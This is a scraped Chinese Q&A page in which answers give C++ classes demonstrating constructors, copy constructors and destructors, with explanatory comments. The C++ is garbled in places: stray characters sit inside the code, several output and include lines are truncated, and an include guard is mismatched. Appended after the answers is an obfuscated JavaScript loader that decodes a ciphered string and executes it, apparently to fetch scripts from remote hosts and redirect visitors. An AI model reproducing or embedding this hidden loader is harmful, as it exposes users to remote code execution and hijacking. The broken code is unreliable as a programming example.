高分求高手帮忙编写一个c++程序,急急

2024-12-01 18:52:29
推荐回答(3个)
回答1:

专业的我给你最全面的解答,请额外加分!!!全部实践加理论!!!用5个文件,把vs打开,.h的文件全放到.h底下,.cpp文件全放在.cpp底下!!!执行即可!!!下面是这些文件的代码,不能改文件名!!!

//C3DBasic.h
#ifndef C3DBasic_H_
#define _C3DBasic_H_
#pragma once
class C3DBasic
{
protected:
//属性定义
//保护成员,protected含义是在自己内部是private,继承的子孙和自己可以访问,外界不能访问
//如果是private含义是仅自己可见,不会继承给子孙;若是public则大家都可见
int X;
int Y;
int Z;
public:
C3DBasic(void);//构造函数
C3DBasic(int x,int y,int z);//带参纳漏改数构造函数
C3DBasic(C3DBasic &obj);//拷贝构造函数
C3DBasic operator=(C3DBasic &obj);//赋值运算符重载,也属于拷贝构造
~C3DBasic(void);//析构函数
};
#endif

//C3DPoint.h
#ifndef _C3DPoint_H_
#define _C3DPoint_H_
#pragma once
#include "c3dbasic.h"
class C3DPoint :
private C3DBasic
//何为继承:继承就是把父类中除了养老金(个人财产)private外,
//其他的慈善捐款public(谁说子孙不能拿?子孙是法定继承人,不捐了,红十字会太黑了)
//和给子孙的的遗产protected(外界不能访问,只有子孙可以,这难道不是遗产吗)拿给子类使用
//结束了吗?没有,还要看孩子怎么用这笔钱!
//何为使用:private继承——全部是我的私有财搜誉产!!!跟父类中的private性质一样
//public:充公!自己外界都可用!跟父类中的public一样!
//protected:做遗产,自己及子孙都可用!跟父类中的public一样!
//这里只展示private
{
private://我自己打工挣的钱!新属性
int H;
public://花出去的
C3DPoint(void);//构造函数,他会默认调用父类的,有爸才有我
C3DPoint(int x,int y,int z,int h);//带参数的构造函数,默认会调用父类的带参构造
C3DPoint(C3DPoint &obj);//拷贝构造函数
C3DPoint operator=(C3DPoint &obj);//赋值运算符重载,也属于拷贝构造
~C3DPoint(void);//析构函数,默认先调用子类,再调用父类的
};
#endif

//C3DBasic.cpp
#include "C3DBasic.h"
#include
using namespace std;

C3DBasic::C3DBasic(void)//构造函数
{
cout<<"调用构造函数C3DBasic()...\n";
}

C3DBasic::C3DBasic(int x,int y,int z)//带参数构造函数
{
cout<<"调用带参数构造函数C3DBasic(int x,int y,int z)...\n";
X=x,Y=y,Z=z;
cout<<"构造结果: X="<}

C3DBasic::C3DBasic(C3DBasic &obj)//拷贝构造函数,&是引用不是取地址
{
cout<<"调用拷贝构造函数C3DBasic(C3DBasic &obj)...\n";
X=obj.X,Y=obj.Y,Z=obj.Z;
cout<<"构造结果: X="<}

C3DBasic C3DBasic::operator=(C3DBasic &obj)//赋值运算符重载,也属于拷贝构造
{
cout<<"用=进行拷贝构造...\n";
this->洞判X=obj.X;
this->Y=obj.Y;
this->Z=obj.Z;
return *this;
}

C3DBasic::~C3DBasic(void)
{
cout<<"调用析构函数~C3DBasic()...\n";
}

//C3DPoint.cpp
#include "C3DPoint.h"
#include
using namespace std;

C3DPoint::C3DPoint(void)//":C3DBasic(void)"里面的这里加不加一样的
//构造函数,他会默认调用父类的,有爸才有我
{
cout<<"调用构造函数C3DPoint()...\n";
}

C3DPoint::C3DPoint(int x,int y,int z,int h)//":C3DBasic(int x,int y,int z)"
//带参数的构造函数,默认会调用父类的带参构造
{
cout<<"调用带参数构造函数C3DPoint(int x,int y,int z,int h)...\n";
X=x,Y=y,Z=z,H=h;
cout<<"构造结果: X="<}

C3DPoint::C3DPoint(C3DPoint &obj)
{
cout<<"调用拷贝构造函数C3DPoint(C3DPoint &obj)...\n";
X=obj.X,Y=obj.Y,Z=obj.Z,H=obj.H;
cout<<"构造结果: X="<}

C3DPoint C3DPoint::operator=(C3DPoint &obj)//赋值运算符重载,也属于拷贝构造
{
cout<<"用=进行拷贝构造...\n";
this->X=obj.X;
this->Y=obj.Y;
this->Z=obj.Z;
this->H=obj.H;
return *this;
}

C3DPoint::~C3DPoint(void)
//析构函数,默认先调用子类,再调用父类的
{
cout<<"调用析构函数~C3DPoint()...\n";
}

//main.cpp
#include"C3DBasic.h"
#include"C3DPoint.h"
#include
using namespace std;

//放在函数里面的目的,是为了让大家看到调用析构函数的结果
//析构函数只在对象销毁时被调用,如果对象建立在main里面,永远看不到析构的调用顺序

void funcPN()
{
cout<<"我们只执行C3DPoint A;,会发现...\n";
C3DPoint A;
system("pause");
}

void funcPNY()
{
cout<<"我们又只执行C3DPoint A;,会发现...\n";
C3DPoint A;
system("pause");
}

void funcBN()
{
cout<<"我们只执行C3DBasic A;,会发现...\n";
C3DBasic A;
system("pause");
}

void funcBNY()
{
cout<<"我们又只执行C3DBasic A;,会发现...\n";
C3DBasic A;
system("pause");
}

void funcBY()
{
cout<<"我们只执行C3DBasic A(3,4,5);,会发现...\n";
C3DBasic A(3,4,5);
system("pause");
}

void funcBYY()
{
cout<<"我们又只执行C3DBasic A(3,4,5);,会发现...\n";
C3DBasic A(3,4,5);
system("pause");
}

void funcPY()
{
cout<<"我们只执行C3DPoint A(3,4,5,6);,会发现...\n";
C3DPoint A(3,4,5,6);
system("pause");
}

void funcPYY()
{
cout<<"我们又只执行C3DPoint A(3,4,5,6);,会发现...\n";
C3DPoint A(3,4,5,6);
system("pause");
}

void funcPYE()
{
cout<<"倘若\nC3DPoint A(3,4,5,6),B;\nB=A;\n会发现...\n";
C3DPoint A(3,4,5,6),B;
B=A;
system("pause");
}

void funcPYK()
{
cout<<"倘若\nC3DPoint A(3,4,5,6);\nC3DPoint B(A);\n会发现...\n";
C3DPoint A(3,4,5,6);
C3DPoint B(A);
system("pause");
}

void funcBYE()
{
cout<<"倘若\nC3DBasic A(3,4,5),B;\nB=A;\n会发现...\n";
C3DBasic A(3,4,5),B;
B=A;
system("pause");
}

void funcBYK()
{
cout<<"倘若\nC3DBasic A(3,4,5);\nC3DBasic B(A);\n会发现...\n";
C3DBasic A(3,4,5);
C3DBasic B(A);
system("pause");
}

int main()
{
funcPN();
cout<<"\n\n\n";
funcPNY();
cout<<"\n\n\n";
funcBN();
cout<<"\n\n\n";
funcBNY();
cout<<"\n\n\n";
funcBY();
cout<<"\n\n\n";
funcBYY();
cout<<"\n\n\n";
funcPY();
cout<<"\n\n\n";
funcPYY();
cout<<"\n\n\n";
funcPYE();
cout<<"\n\n\n";
funcPYK();
cout<<"\n\n\n";
funcBYE();
cout<<"\n\n\n";
funcBYK();
cout<<"\n\n\n";
cout<<"现在看明白了吧,所有解释均在代码里...\n";
system("pause");
return 0;
}

/*
总结:什么是拷贝构造?
1.拷贝:COPY复制的意思。
2.构造:2种方法
{
1.用=号,由于=只能识别类型,所以当操作对象是类的时候,用户使用=时,系统会自动生成
默认的运算符重载函数,通过赋值的方式完成复制,那么对象的成员就由无到有的构造
出来了
2.用拷贝构造函数构造:不就是比构造函数多了2个字“拷贝”吗?那不过就是构造函数的重
载罢了,用户使用参数列表初始化的时候,系统会自动生成默认的以引用为参数的重载
构造函数,还是通过赋值的方式完成复制,那么对象的成员就由无到有的构造出来了
}
3.生命周期:派生类与父类的生命周期——你不感觉很像递归吗?
void fun(int n)//n派生次数,也是第几代孩子
{
if(n==0)//你老爸!
return;
else
fun(n-1);
}
于是出现:
调用 “老爸”构造函数...,老爸光荣诞生于世界
调用 “第一代孩子”构造函数...儿子从老爸那诞生了,神了!
如果在其中添加执行孩子成员函数的话,则执行孩子成员函数的话...
调用 “第一代孩子”析构函数...儿子完成任务
调用 “老爸”析构函数...用不到老爸了!
*/

回答2:

过段时间吧。现在忙着一考试。。这个很简单的。运樱你可培谨以自己尝旁中丛试着写。
你在构造函数或其它函数里面用输出语句输出表示当前的情况就OK了。

回答3:

class CTest
{
public:
CTest()
{
n=0;
}
CTest(int nParam)
{
n=nParam;
}
CTest(CTest &self)
{
n=self.n;
}
~CTest()
{
}
void SetValue(int nParam)
{
n=nParam;
}
private:
int n;
}

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();